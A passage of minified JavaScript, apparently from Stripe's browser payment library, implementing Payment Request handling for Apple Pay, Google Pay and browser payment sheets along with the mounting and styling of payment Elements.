t[e]?t[e].toUpperCase():null}},Fo=(be={},U(be,ro.success,0),U(be,ro.fail,1),U(be,ro.invalid_payer_name,2),U(be,ro.invalid_shipping_address,3),U(be,ro.invalid_payer_phone,4),U(be,ro.invalid_payer_email,4),be),Bo=(ge={},U(ge,no.pickup,"storePickup"),U(ge,no.shipping,"shipping"),U(ge,no.delivery,"delivery"),ge),Uo={total:function(e){return qo(e.total,e)},lineItems:function(e){return e.displayItems?e.displayItems.map(function(t){return qo(t,e)}):[]},shippingMethods:function(e){return e.shippingOptions?e.shippingOptions.map(function(t){return Do(t,e)}):[]}},Ho={shippingType:function(e){var t=e.shippingType;if(!t)return null;var n=Bo[t];if(void 0!==n)return n;throw new ke("Invalid value for shippingType: "+t)},requiredBillingContactFields:function(e){return e.requestPayerName?["postalAddress"]:null},requiredShippingContactFields:function(e){var t=[];return e.requestShipping&&t.push("postalAddress"),e.requestPayerEmail&&t.push("email"),e.requestPayerPhone&&t.push("phone"),t.length?t:null},countryCode:xo("country"),currencyCode:xo("currency"),merchantCapabilities:function(e){return function(t){return t[e]||null}}("merchantCapabilities"),supportedNetworks:function(e){return jo(e.country,e.jcbEnabled||!1)}},zo={status:function(e){return Fo[e.status]||0}},Yo=Lo({},Uo,Ho),Wo=Lo({},Uo,zo),Go=function(e){var t=Lo({},oo,e);return Object.keys(Yo).reduce(function(e,n){var r=Yo[n],o=r(t);return null!==o?Lo({},e,U({},n,o)):e},{})},Ko=function(e){return Object.keys(Wo).reduce(function(t,n){var r=Wo[n],o=r(e);return null!==o?Lo({},t,U({},n,o)):t},{})},Vo=function(e){return"string"==typeof e?e:null},$o=function(e){return e?Vo(e.phoneNumber):null},Jo=function(e){return e?Vo(e.emailAddress):null},Qo=function(e){return e?[e.givenName,e.familyName].filter(function(e){return e&&"string"==typeof e}).join(" "):null},Zo=function(e){var t=e.addressLines,n=e.countryCode,r=e.postalCode,o=e.administrativeArea,i=e.locality,a=e.phoneNumber,s=Vo(n);return{addressLine:Array.isArray(t)?t.reduce(function(e,t){return"string"==typeof t?[].concat(H(e),[t]):e},[]):[],country:s?s.toUpperCase():"",postalCode:Vo(r)||"",recipient:Qo(e)||"",region:Vo(o)||"",city:Vo(i)||"",phone:Vo(a)||"",sortingCode:"",dependentLocality:"",organization:""}},Xo=function(e,t){var n=e.identifier,r=e.label;return t.filter(function(e){return e.id===n&&e.label===r})[0]},ei=function(e,t){var n=e.shippingContact,r=e.shippingMethod,o=e.billingContact;return{shippingOption:r&&t.shippingOptions&&t.shippingOptions.length?Xo(r,t.shippingOptions):null,shippingAddress:n?Zo(n):null,payerEmail:Jo(n),payerPhone:$o(n),payerName:Qo(o),methodName:"apple-pay"}},ti=ei,ni=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},ri=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),oi="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},ii={australia:"AU",austria:"AT",canada:"CA",schweiz:"CH",deutschland:"DE",hongkong:"HK",saudiarabia:"SA",espaa:"ES",singapore:"SG",us:"US",usa:"US",unitedstatesofamerica:"US",unitedstates:"US",england:"GB",gb:"GB",uk:"GB",unitedkingdom:"GB"},ai=function(e,t){return e&&"object"===(void 0===e?"undefined":oi(e))?t(e):null},si=function(){function e(t){var n=this;z(this,e),this._onEvent=function(){},this.setEventHandler=function(e){n._onEvent=e},this.canMakePayment=function(){return Ao(window.location.hostname,n._authentication.accountId,xe(n._authentication.apiKey)===De.test,n._report,n._minimumVersion)},this.update=function(e){n._initialPaymentRequest=ko(n._paymentRequestOptions,e),n._initializeSessionState()},this.show=function(){n._initializeSessionState();var e=void 0;try{e=new window.ApplePaySession(n._minimumVersion,Go(n._paymentRequestOptions))}catch(e){throw"Must create a new ApplePaySession from a user gesture handler."===e.message?new ke("show() must be called from a user gesture handler (such as a click handler, after the user clicks a button)."):e}n._privateSession=e,n._setupSession(e,n._usesButtonElement()),e.begin(),n._isShowing=!0},this.abort=function(){n._privateSession&&n._privateSession.abort()},this._warn=function(e){},this._report=function(e,t){n._controller.report(e,ni({},t,{backingLibrary:"APPLE_PAY",usesButtonElement:n._usesButtonElement()}))},this._validateMerchant=function(e,t){return function(r){n._controller.action.createApplePaySession({data:{validation_url:r.validationURL,domain_name:window.location.hostname,display_name:n._paymentRequestOptions.total.label},usesButtonElement:t}).then(function(t){if(n._isShowing)switch(t.type){case"object":e.completeMerchantValidation(JSON.parse(t.object.session));break;case"error":n._handleValidationError(e)(t.error);break;default:Se(t)}},n._handleValidationError(e))}},this._handleValidationError=function(e){return function(t){n._report("error.pr.apple_pay.session_creation_failed",{error:t}),e.abort();var r=t.message;"string"==typeof r&&n._controller.warn(r)}},this._paymentAuthorized=function(e){return function(t){var r=t.payment,o=n._usesButtonElement()?It.paymentRequestButton:null;n._controller.action.tokenizeWithData({type:"apple_pay",elementName:o,tokenData:ni({},r,{billingContact:ai(r.billingContact,n._normalizeContact)}),mids:n._mids}).then(function(t){if("error"===t.type)e.completePayment(window.ApplePaySession.STATUS_FAILURE),n._report("error.pr.create_token_failed",{error:t.error});else{var o=ai(r.shippingContact,n._normalizeContact),i=ai(r.billingContact,n._normalizeContact);o&&n._paymentRequestOptions.requestShipping&&!o.countryCode&&e.completePayment(window.ApplePaySession.STATUS_INVALID_SHIPPING_POSTAL_ADDRESS);var a=ti({shippingContact:o,billingContact:i},n._paymentRequestOptions);n._onToken(e)(ni({},a,{shippingOption:n._privateShippingOption,token:t.object}))}})}},this._normalizeContact=function(e){if(e.country&&"string"==typeof e.country){var t=e.country.toLowerCase().replace(/[^a-z]+/g,""),r=void 0;return e.countryCode?"string"==typeof e.countryCode&&(r=e.countryCode.toUpperCase()):(r=ii[t])||n._report("warn.pr.apple_pay.missing_country_code",{country:e.country}),ni({},e,{countryCode:r})}return e},this._onToken=function(e){return function(t){n._onEvent({type:"paymentresponse",payload:ni({},t,{complete:n._completePayment(e)})})}},this._completePayment=function(e){return function(t){n._paymentRequestOptions=ko(n._paymentRequestOptions,{status:t});var r=Ko(n._paymentRequestOptions),o=r.status;e.completePayment(o),-1===[window.ApplePaySession.STATUS_INVALID_BILLING_POSTAL_ADDRESS,window.ApplePaySession.STATUS_INVALID_SHIPPING_POSTAL_ADDRESS,window.ApplePaySession.STATUS_INVALID_SHIPPING_CONTACT].indexOf(o)&&(n._isShowing=!1,n._onEvent&&n._onEvent({type:"close"}))}},this._shippingContactSelected=function(e){return function(t){n._onEvent({type:"shippingaddresschange",payload:{shippingAddress:Zo(n._normalizeContact(t.shippingContact)),updateWith:n._completeShippingContactSelection(e)}})}},this._completeShippingContactSelection=function(e){return function(t){n._paymentRequestOptions=ko(n._paymentRequestOptions,t),n._paymentRequestOptions.shippingOptions&&n._paymentRequestOptions.shippingOptions.length&&(n._privateShippingOption=n._paymentRequestOptions.shippingOptions[0]);var r=Ko(n._paymentRequestOptions),o=r.status,i=r.shippingMethods,a=r.total,s=r.lineItems;e.completeShippingContactSelection(o,i,a,s)}},this._shippingMethodSelected=function(e){return function(t){if(n._paymentRequestOptions.shippingOptions){var r=Xo(t.shippingMethod,n._paymentRequestOptions.shippingOptions);n._privateShippingOption=r,n._onEvent({type:"shippingoptionchange",payload:{shippingOption:r,updateWith:n._completeShippingMethodSelection(e)}})}}},this._completeShippingMethodSelection=function(e){return function(t){n._paymentRequestOptions=ko(n._paymentRequestOptions,t);var r=Ko(n._paymentRequestOptions),o=r.status,i=r.total,a=r.lineItems;e.completeShippingMethodSelection(o,i,a)}};var r=t.controller,o=t.authentication,i=t.mids,a=t.options,s=t.usesButtonElement;this._controller=r,this._authentication=o,this._mids=i,this._minimumVersion=a.__minApplePayVersion||Oo,this._usesButtonElement=s,this._initialPaymentRequest=a,this._isShowing=!1,this._initializeSessionState()}return ri(e,[{key:"_initializeSessionState",value:function(){this._paymentRequestOptions=ni({},oo,this._initialPaymentRequest,{status:ro.success}),this._privateSession=null,this._privateShippingOption=null;var e=this._paymentRequestOptions.shippingOptions;e&&e.length&&(this._privateShippingOption=e[0])}},{key:"_setupSession",value:function(e,t){var n=this;e.addEventListener("validatemerchant",rn(this._validateMerchant(e,t))),e.addEventListener("paymentauthorized",rn(this._paymentAuthorized(e))),e.addEventListener("cancel",rn(function(){n._isShowing=!1,n._onEvent({type:"cancel"}),n._onEvent({type:"close"})})),e.addEventListener("shippingcontactselected",rn(this._shippingContactSelected(e))),e.addEventListener("shippingmethodselected",rn(this._shippingMethodSelected(e)))}}]),e}(),ci=si,ui=null,li=function(e){return null!==ui?Te.resolve(ui):e().then(function(e){return ui=e})},pi=li,di=function(){return"https:"===window.location.protocol&&!(!dr&&!fr)},fi=di,hi=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},_i=function e(t){var n=this;Y(this,e),this._mids=null,this._frame=null,this._backdrop=new qn({lockScrolling:!1,lockFocus:!0,lockFocusOn:null}),this._initFrame=function(e){var t=n._controller.createHiddenFrame(St.PAYMENT_REQUEST_GOOGLE_PAY,{authentication:n._authentication,mids:n._mids});t.send({action:"stripe-pr-initialize",payload:{data:e}}),n._initFrameEventHandlers(t),n._frame=t},this._initFrameEventHandlers=function(e){e._on("pr-cancel",function(){n._onEvent({type:"cancel"})}),e._on("pr-close",function(){n._backdrop.fadeOut().then(function(){n._backdrop.unmount()}),n._onEvent({type:"close"})}),e._on("pr-error",function(e){n._onEvent({type:"error",payload:{errorMessage:e.errorMessage,errorCode:e.errorCode}})}),e._on("pr-callback",function(t){var r=t.event,o=t.options,i=t.nonce;switch(r){case"paymentresponse":n._handlePaymentResponse(e,o,i);break;case"shippingaddresschange":n._handleShippingAddressChange(e,o,i);break;case"shippingoptionchange":n._handleShippingOptionChange(e,o,i);break;default:throw new Error("Unexpected event name: "+r)}})},this._handlePaymentResponse=function(e,t,r){var o=function(t){e.send({action:"stripe-pr-callback-complete",payload:{nonce:r,data:{status:t}}})};n._onEvent({type:"paymentresponse",payload:hi({},t,{complete:o})})},this._handleShippingAddressChange=function(e,t,r){var o=function(t){e.send({action:"stripe-pr-callback-complete",payload:{nonce:r,data:t}})};n._onEvent({type:"shippingaddresschange",payload:hi({},t,{updateWith:o})})},this._handleShippingOptionChange=function(e,t,r){var o=function(t){e.send({action:"stripe-pr-callback-complete",payload:{nonce:r,data:t}})};n._onEvent({type:"shippingoptionchange",payload:hi({},t,{updateWith:o})})},this.setEventHandler=function(e){n._onEvent=e},this.canMakePayment=function(){if(!fi())return Te.resolve(!1);if(!n._frame)throw new Error("Frame not initialized.");var e=n._frame;return pi(function(){return e.action.checkCanMakePayment().then(function(e){return!0===e.available})})},this.show=function(){n._frame&&(n._frame.send({action:"stripe-pr-show",payload:{data:{usesButtonElement:n._usesButtonElement()}}}),n._backdrop.mount(),n._backdrop.show(),n._backdrop.fadeIn())},this.update=function(e){n._frame&&n._frame.send({action:"stripe-pr-update",payload:{data:e}})},this.abort=function(){n._frame&&n._frame.send({action:"stripe-pr-abort",payload:{}})},this._controller=t.controller,this._authentication=t.authentication,this._mids=t.mids,this._usesButtonElement=t.usesButtonElement,fi()&&this._controller&&(this._controller.action.fetchLocale({locale:"auto"}),this._initFrame(t.options))},mi=_i,yi=function(){if(!window.PaymentRequest)return null;if(/CriOS\/59/.test(navigator.userAgent))return null;if(/.*\(.*; wv\).*Chrome\/(?:53|54)\.\d.*/g.test(navigator.userAgent))return null;if(pr)return null;var e=window.PaymentRequest;return e.prototype.canMakePayment||(e.prototype.canMakePayment=function(){return Te.resolve(!1)}),e}(),vi=null,bi=function(e,t){return null!==vi?Te.resolve(vi):yi?t&&"https:"!==window.location.protocol?(window.console&&window.console.warn("To test Payment Request, you must serve this page over HTTPS."),Te.resolve(!1)):e?e.action.checkCanMakePayment().then(function(e){var t=e.available;return vi=!0===t}):Te.resolve(!1):Te.resolve(!1)},gi=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},wi=function e(t){W(this,e),Ei.call(this);var n=t.authentication,r=t.controller,o=t.mids,i=t.usesButtonElement,a=t.options;if(this._authentication=n,this._controller=r,this._mids=o,this._usesButtonElement=i,yi&&"https:"===window.location.protocol){this._controller.action.fetchLocale({locale:"auto"});var s=this._controller.createHiddenFrame(St.PAYMENT_REQUEST_BROWSER,{authentication:n,mids:this._mids});this._setupPrFrame(s,a),this._prFrame=s}else this._prFrame=null},Ei=function(){var e=this;this._onEvent=function(){},this.setEventHandler=function(t){e._onEvent=t},this.canMakePayment=function(){return bi(e._prFrame,xe(e._authentication.apiKey)===De.test)},this.update=function(t){var n=e._prFrame;n&&n.send({action:"stripe-pr-update",payload:{data:t}})},this.show=function(){if(!e._prFrame)throw new ke("Payment Request is not available in this browser.");e._prFrame.send({action:"stripe-pr-show",payload:{data:{usesButtonElement:e._usesButtonElement()}}})},this.abort=function(){e._prFrame&&e._prFrame.send({action:"stripe-pr-abort",payload:{}})},this._setupPrFrame=function(t,n){t.send({action:"stripe-pr-initialize",payload:{data:n}}),t._on("pr-cancel",function(){e._onEvent({type:"cancel"})}),t._on("pr-close",function(){e._onEvent({type:"close"})}),t._on("pr-error",function(t){e._onEvent({type:"error",payload:{errorMessage:t.message||"",errorCode:t.code||""}})}),t._on("pr-callback",function(n){var r=n.event,o=n.nonce,i=n.options;switch(r){case"token":e._onEvent({type:"paymentresponse",payload:gi({},i,{complete:function(e){t.send({action:"stripe-pr-callback-complete",payload:{data:{status:e},nonce:o}})}})});break;case"shippingaddresschange":e._onEvent({type:"shippingaddresschange",payload:{shippingAddress:i.shippingAddress,updateWith:function(e){t.send({action:"stripe-pr-callback-complete",payload:{nonce:o,data:e}})}}});break;case"shippingoptionchange":e._onEvent({type:"shippingoptionchange",payload:{shippingOption:i.shippingOption,updateWith:function(e){t.send({action:"stripe-pr-callback-complete",payload:{nonce:o,data:e}})}}});break;default:throw new Error("Unexpected event from PaymentRequest inner: "+r)}})}},ki=wi,Si=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Oi=function(e){function t(e){V(this,t);var n=$(this,(t.__proto__||Object.getPrototypeOf(t)).call(this));Pi.call(n),n._controller=e.controller,n._authentication=e.authentication,n._mids=e.mids,n._report("pr.options",{options:e.rawOptions});var r=yt(lo,e.rawOptions||{},"paymentRequest()"),o=r.value;if(r.warnings.forEach(function(e){return n._warn(e)}),o.__billingDetailsEmailOverride&&o.requestPayerEmail)throw new ke("When providing `__billingDetailsEmailOverride`, `requestPayerEmail` has to be `false` so that the customer is not prompted for their email in the payment sheet.");return n._queryStrategy=e.queryStrategyOverride||yo(e.betas),n._report("pr.query_strategy",{queryStrategy:n._queryStrategy}),n._initialOptions=Si({},o,{__skipGooglePayInPaymentRequest:-1!==n._queryStrategy.indexOf("GOOGLE_PAY")}),n._initBackingLibraries(n._initialOptions),n}return J(t,e),t}(un),Pi=function(){var e=this;this._usedByButtonElement=null,this._showCalledByButtonElement=!1,this._isShowing=!1,this._backingLibraries={APPLE_PAY:null,GOOGLE_PAY:null,BROWSER:null},this._activeBackingLibraryName=null,this._activeBackingLibrary=null,this._canMakePaymentAvailability={APPLE_PAY:null,GOOGLE_PAY:null,BROWSER:null},this._canMakePaymentResolved=!1,this._validateUserOn=function(t,n){"string"==typeof t&&("source"===t&&e._hasRegisteredListener("paymentmethod")||"paymentmethod"===t&&e._hasRegisteredListener("source"))&&(e._report("pr.double_callback_registration"),e._controller.warn("Do not register event listeners for both `source` or `paymentmethod`. Only one of them will succeed."))},this._report=function(t,n){e._controller.report(t,Si({},n,{activeBackingLibrary:e._activeBackingLibraryName,usesButtonElement:e._usedByButtonElement}))},this._warn=function(t){e._controller.warn(t)},this._registerElement=function(){e._usedByButtonElement=!0},this._elementShow=function(){e._showCalledByButtonElement=!0,e.show()},this._initBackingLibraries=function(t){e._queryStrategy.forEach(function(n){var r={controller:e._controller,authentication:e._authentication,mids:e._mids,options:t,usesButtonElement:function(){return!0===e._usedByButtonElement}};switch(n){case"APPLE_PAY":e._backingLibraries.APPLE_PAY=new ci(r),e._backingLibraries.APPLE_PAY.setEventHandler(e._handleInternalEvent);break;case"GOOGLE_PAY":e._backingLibraries.GOOGLE_PAY=new mi(r),e._backingLibraries.GOOGLE_PAY.setEventHandler(e._handleInternalEvent);break;case"BROWSER":e._backingLibraries.BROWSER=new ki(r),e._backingLibraries.BROWSER.setEventHandler(e._handleInternalEvent);break;default:Se(n)}})},this._handleInternalEvent=function(t){switch(t.type){case"paymentresponse":e._emitPaymentResponse(t.payload);break;case"error":e._report("error.pr.internal_error",{error:t.payload});break;case"close":e._isShowing=!1;break;default:e._emitExternalEvent(t)}},this._emitExternalEvent=function(t){switch(t.type){case"cancel":e._emit("cancel");break;case"shippingoptionchange":case"shippingaddresschange":var n=t.type,r=t.payload,o=null,i=!1,a=!1,s=function(s){if(a&&i)return e._report("pr.update_with_called_after_timeout",{event:n}),void e._controller.warn("Call to updateWith() was ignored because it has already timed out. Please ensure that updateWith is called within 30 seconds.");if(i)return e._report("pr.update_with_double_call",{event:n}),void e._controller.warn("Call to updateWith() was ignored because it has already been called. Do not call updateWith more than once.");o&&clearTimeout(o),i=!0,e._report("pr.update_with",{event:n,updates:s});var c=yt(ho,s||{},n+" callback"),u=c.value;c.warnings.forEach(function(t){return e._controller.warn(t)});var l=u.shippingOptions||e._initialOptions.shippingOptions;if(!("shippingaddresschange"!==t.type||u.status!==ro.success||l&&l.length))throw new ke("When requesting shipping information, you must specify shippingOptions once a shipping address is selected.\nEither provide shippingOptions in stripe.paymentRequest(...) or listen for the shippingaddresschange event and provide shippingOptions to the updateWith callback there.");r.updateWith(u)};e._hasRegisteredListener(t.type)?(o=setTimeout(function(){a=!0,e._report("pr.update_with_timed_out",{event:n}),e._controller.warn('Timed out waiting for a call to updateWith(). If you listen to "'+t.type+'" events, then you must call event.updateWith in the "'+t.type+'" handler within 30 seconds.'),s({status:"fail"})},29900),e._emit(n,Si({},r,{updateWith:s}))):s({status:"success"});break;case"token":case"source":case"paymentmethod":var c=t.type,u=t.payload,l=null,p=!1,d=!1,f=function(t){if(p&&d)return e._report("pr.complete_called_after_timeout"),void e._controller.warn("Call to complete() was ignored because it has already timed out. Please ensure that complete is called within 30 seconds.");if(d)return e._report("pr.complete_double_call"),void e._controller.warn("Call to complete() was ignored because it has already been called. Do not call complete more than once.");l&&clearTimeout(l),d=!0;var n=yt(_o,t,"status for PaymentRequest completion"),r=n.value;n.warnings.forEach(function(t){return e._controller.warn(t)}),u.complete(r)};l=setTimeout(function(){p=!0,e._report("pr.complete_timed_out"),e._controller.warn('Timed out waiting for a call to complete(). Once you have processed the payment in the "'+t.type+'" handler, you must call event.complete within 30 seconds.'),f("fail")},29900),e._emit(c,Si({},u,{complete:f}));break;default:Se(t)}},this._maybeEmitPaymentResponse=function(t){e._isShowing&&e._emitExternalEvent(t)},this._emitPaymentResponse=function(t){e._report("pr.payment_authorized");var n=t.__googlePayBillingAddress,r=K(t,["__googlePayBillingAddress"]),o=r.token,i=K(r,["token"]),a=i.payerEmail,s=i.payerPhone,c=i.complete,u=e._showCalledByButtonElement?It.paymentRequestButton:null;e._hasRegisteredListener("token")&&e._maybeEmitPaymentResponse({type:"token",payload:r}),e._hasRegisteredListener("source")&&e._controller.action.createSourceWithData({elementName:u,type:"card",sourceData:{token:o.id,owner:Si({email:e._initialOptions.__billingDetailsEmailOverride||a,phone:s},n?{address:n}:{})},mids:null}).then(function(t){"error"===t.type?(e._report("fatal.pr.token_to_source_failed",{error:t.error,token:o.id}),c("fail")):e._maybeEmitPaymentResponse({type:"source",payload:Si({},i,{source:t.object})})}),e._hasRegisteredListener("paymentmethod")&&e._controller.action.createPaymentMethodWithData({elementName:u,type:"card",paymentMethodData:{card:{token:o.id},billing_details:Si({email:e._initialOptions.__billingDetailsEmailOverride||a,phone:s},n?{address:n}:{})},mids:null}).then(function(t){"error"===t.type?(e._report("fatal.pr.token_to_payment_method_failed",{error:t.error,token:o.id}),c("fail")):e._maybeEmitPaymentResponse({type:"paymentmethod",payload:Si({},i,{paymentMethod:t.object})})})},this._canMakePaymentForBackingLibrary=function(t){var n=e._backingLibraries[t];if(!n)throw new Error("Unexpectedly calling canMakePayment on uninitialized backing library.");return Te.race([new Te(function(e){return setTimeout(e,1e4)}).then(function(){return!1}),n.canMakePayment().then(function(e){return!!e})]).then(function(n){return e._canMakePaymentAvailability=Si({},e._canMakePaymentAvailability,G({},t,n)),{backingLibraryName:t,available:n}})},this._constructCanMakePaymentResponse=function(){return Si({applePay:!!e._canMakePaymentAvailability.APPLE_PAY},-1!==e._queryStrategy.indexOf("GOOGLE_PAY")?{googlePay:!!e._canMakePaymentAvailability.GOOGLE_PAY}:{})},this.canMakePayment=rn(function(){if(e._report("pr.can_make_payment"),e._canMakePaymentResolved){var t=null!==e._activeBackingLibrary?e._constructCanMakePaymentResponse():null;return e._report("pr.can_make_payment_response",{response:t,cached:!0}),Te.resolve(t)}if("https:"!==window.location.protocol)return e._canMakePaymentResolved=!0,Te.resolve(null);var n=e._queryStrategy.map(function(t){return function(){return e._canMakePaymentForBackingLibrary(t)}}),r=Date.now();return Zr(n,function(t){var n=t.backingLibraryName,r=t.available;return r&&(e._activeBackingLibraryName=n,e._activeBackingLibrary=e._backingLibraries[n]),r}).then(function(t){var n=Date.now();e._canMakePaymentResolved=!0;var o=null;return"SATISFIED"===t.type&&(o=e._constructCanMakePaymentResponse()),e._report("pr.can_make_payment_response",{response:o,cached:!1,duration:n-r}),o})}),this.update=rn(function(t){if(e._isShowing)throw e._report("pr.update_called_while_showing"),new ke("You cannot update Payment Request options while the payment sheet is showing.");e._report("pr.update",{updates:t});var n=yt(po,t,"PaymentRequest update()"),r=n.value;n.warnings.forEach(function(t){return e._warn(t)}),e._activeBackingLibrary&&e._activeBackingLibrary.update(r)}),this.show=rn(function(){if(e._usedByButtonElement&&!e._showCalledByButtonElement&&(e._report("pr.show_called_with_button"),e._warn("Do not call show() yourself if you are using the paymentRequestButton Element. The Element handles showing the payment sheet.")),!e._canMakePaymentResolved)throw e._report("pr.show_called_before_can_make_payment"),new ke("You must first check the Payment Request API's availability using paymentRequest.canMakePayment() before calling show().");if(!e._activeBackingLibrary)throw e._report("pr.show_called_with_can_make_payment_false"),new ke("Payment Request is not available in this browser.");var t=e._activeBackingLibrary;e._report("pr.show",{listeners:Object.keys(e._callbacks).sort()}),e._isShowing=!0,t.show()}),this.abort=rn(function(){if(e._activeBackingLibrary){var t=e._activeBackingLibrary;e._report("pr.abort"),t.abort()}})},Ai=Oi,Ti={base:Ke(ut),complete:Ke(ut),empty:Ke(ut),invalid:Ke(ut),paymentRequestButton:Ke(ut)},Ii={classes:Ke(_t({base:Ke(tt),complete:Ke(tt),empty:Ke(tt),focus:Ke(tt),invalid:Ke(tt),webkitAutofill:Ke(tt)})),hidePostalCode:Ke(rt),hideIcon:Ke(rt),style:Ke(_t(Ti)),iconStyle:Ke(Qe("solid","default")),value:Ke(Ve(tt,ut)),__privateCvcOptional:Ke(rt),__privateValue:Ke(Ve(tt,ut)),__privateEmitIbanValue:Ke(rt),error:Ke(_t({type:tt,code:Ke(tt),decline_code:Ke(tt),param:Ke(tt)})),locale:dt("elements()"),fonts:dt("elements()"),placeholder:Ke(tt),disabled:Ke(rt),placeholderCountry:Ke(tt),paymentRequest:Ke(function(e,t){return function(n,r){return n instanceof e?ze(n):Ge("a "+t+" instance",n,r)}}(Ai,"stripe.paymentRequest(...)")),supportedCountries:Ke(lt(tt))},Ci=_t(Ii),ji=function(e,t,n){var r="auBankAccount"===e&&!Lr(n,"au_bank_account_beta_1");if(!e||!(e in _r)||r)throw new ke("A valid Element name must be provided. Valid Elements are:\n"+Object.keys(_r).filter(function(e){return!_r[e].beta}).join(", ")+"; you passed: "+e+".");if(_r[e].unique&&-1!==t.indexOf(e))throw new ke("Can only create one Element of type "+e+".");var o=_r[e].conflict,i=je(t,o);if(i.length){var a=i[0];throw new ke("Cannot create an Element of type "+e+" after an Element of type "+a+" has already been created.")}},Ri="14px",Ni=function(e){var t=e.split(" ").map(function(e){return parseInt(e.trim(),10)});return 1===t.length||2===t.length?2*t[0]:3===t.length||4===t.length?t[0]+t[2]:0},Mi=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"1.2em",t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:Ri,n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"0",r=Ni(n);if("string"==typeof e&&/^[0-9.]+px$/.test(e)){return parseFloat(e.toString().replace(/[^0-9.]/g,""))+r+"px"}var o=parseFloat(e.toString().replace(/[^0-9.]/g,"")),i=parseFloat(Ri.replace(/[^0-9.]/g,"")),a=parseFloat(t.toString().replace(/[^0-9.]/g,"")),s=void 0;if("string"==typeof t&&/^(\d+|\d*\.\d+)px$/.test(t))s=a;else if("string"==typeof t&&/^(\d+|\d*\.\d+)em$/.test(t))s=a*i;else if("string"==typeof t&&/^(\d+|\d*\.\d+)%$/.test(t))s=a/100*i;else{if("string"!=typeof t||!/^[\d.]+$/.test(t)&&!/^\d*\.(px|em|%)$/.test(t))return"100%";s=i}var c=o*s+r,u=c+"px";return/^[0-9.]+px$/.test(u)?u:"100%"},Li=Mi,qi=function(e,t){return e?window.getComputedStyle(e,t):null},Di=qi,xi=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Fi=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),Bi={base:"StripeElement",focus:"StripeElement--focus",invalid:"StripeElement--invalid",complete:"StripeElement--complete",empty:"StripeElement--empty",webkitAutofill:"StripeElement--webkit-autofill"},Ui={margin:"0",padding:"0",border:"none",display:"block",background:"transparent",position:"relative",opacity:"1"},Hi={border:"none",display:"block",position:"absolute",height:"1px",top:"0",left:"0",padding:"0",margin:"0",width:"100%",opacity:"0",background:"transparent","pointer-events":"none","font-size":"16px"},zi=function(e){return parseFloat(e.toFixed(1))},Yi=function(e){return/^\d+(\.\d*)?px$/.test(e)},Wi=function(e){function t(e){X(this,t);var n=ee(this,(t.__proto__||Object.getPrototypeOf(t)).call(this));Gi.call(n);var r=e.controller,o=e.componentName,i=e.paymentRequest;n._controller=r,n._componentName=o;var a="paymentRequestButton"===n._componentName;if(a){if(!i)throw new ke("You must pass in a stripe.paymentRequest object in order to use this Element.");n._paymentRequest=i,n._paymentRequest._registerElement()}return n._createComponent(e,o),n._classes=Bi,n._changeClasses(e.classes||{}),n._lastBackgroundColor="",n._destroyed=!1,n._focused=!1,n._empty=!a,n._invalid=!1,n._complete=!1,n._autofilled=!1,n._lastSubmittedAt=null,n}return te(t,e),Fi(t,[{key:"_checkDestroyed",value:function(){if(this._destroyed)throw new ke("This Element has already been destroyed. Please create a new one.")}},{key:"_isMounted",value:function(){return!!document.body&&document.body.contains(this._component)}},{key:"_mountToParent",value:function(e){var t=this._component.parentElement,n=this._isMounted();if(e===t){if(n)return;this.unmount(),this._mountTo(e)}else if(t){if(n)throw new ke("This Element is already mounted. Use `unmount()` to unmount the Element before re-mounting.");this.unmount(),this._mountTo(e)}else this._mountTo(e)}},{key:"_mountTo",value:function(e){var t=Date.now(),n=Di(e,null),r=!!n&&"rtl"===n.getPropertyValue("direction"),o=this._paymentRequest?this._paymentRequest._activeBackingLibraryName:null;for(this._parent=e;e.firstChild;)e.removeChild(e.firstChild);e.appendChild(this._component),this._frame.send({action:"stripe-user-mount",payload:{mountTime:t,rtl:r,paymentRequestButtonType:o}}),this._findPossibleLabel(),this._updateClasses()}},{key:"_updateClasses",value:function(){this._parent&&Vt(this._parent,[[this._classes.base,!0],[this._classes.empty,this._empty],[this._classes.focus,this._focused],[this._classes.invalid,this._invalid],[this._classes.complete,this._complete],[this._classes.webkitAutofill,this._autofilled]])}},{key:"_removeClasses",value:function(){this._parent&&Vt(this._parent,[[this._classes.base,!1],[this._classes.empty,!1],[this._classes.focus,!1],[this._classes.invalid,!1],[this._classes.complete,!1],[this._classes.webkitAutofill,!1]])}},{key:"_findPossibleLabel",value:function(){var e=this._parent;if(e){var t=e.getAttribute("id"),n=void 0;if(t&&(n=document.querySelector("label[for='"+t+"']")),n)e.addEventListener("click",this.focus);else for(n=n||e.parentElement;n&&"LABEL"!==n.nodeName;)n=n.parentElement;n?(this._label=n,n.addEventListener("click",this.focus)):e.addEventListener("click",this.focus)}}},{key:"_changeClasses",value:function(e){var t={};return Object.keys(e).forEach(function(n){if(!Bi[n])throw new ke(n+" is not a customizable class name.\nYou can customize: "+Object.keys(Bi).join(", "));var r=e[n]||Bi[n];t[n]=r.replace(/\./g," ")}),this._classes=xi({},this._classes,t),this}},{key:"_emitEvent",value:function(e,t){return this._emit(e,xi({elementType:this._componentName},t))}},{key:"_setupEvents",value:function(){var 